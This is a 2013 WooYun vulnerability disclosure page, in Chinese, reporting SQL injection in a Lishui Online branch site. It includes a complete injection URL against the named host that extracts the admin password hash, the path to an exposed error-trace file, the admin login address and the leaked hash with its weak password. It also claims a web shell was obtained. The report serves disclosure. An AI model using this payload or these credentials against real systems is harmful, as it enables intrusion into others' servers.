当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-022322

漏洞标题:丽水在线分站SQL注入,管理员密码泄漏,后台弱口令,已shell

相关厂商:丽水在线

漏洞作者: 微尘

提交时间:2013-04-23 01:12

修复时间:2013-06-07 01:13

公开时间:2013-06-07 01:13

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-04-23: 细节已通知厂商并且等待厂商处理中
2013-04-23: 厂商已经确认,细节仅向厂商公开
2013-05-03: 细节向核心白帽子及相关领域专家公开
2013-05-13: 细节向普通白帽子公开
2013-05-23: 细节向实习白帽子公开
2013-06-07: 细节向公众公开

简要描述:

丽水在线分站SQL注入

详细说明:

丽水在线分站SQL注入
SQL注射:http://nb.lsol.com.cn//plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a
好吧,用户名密码没下来。。使用http://nb.lsol.com.cn/data/mysqli_error_trace.inc
果断直接下载

1.png


在里面找到后台地址:http://nb.lsol.com.cn//mynb/login.php?gotopage=%2F%2Fmynb%2Fcatalog_main.php
获取帐号密码:
admin|f297a57a5a743894a0e4
去前三除后一,得到MD5。。很明显是弱口令admin

3.png


最后提到shell。。
织梦后台提shell估计人人都会。。

shell.png


漏洞证明:

同上。

修复方案:

这个你们会比我更加专业。

版权声明:转载请注明来源 微尘@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:5 (WooYun评价)


漏洞评价:

评论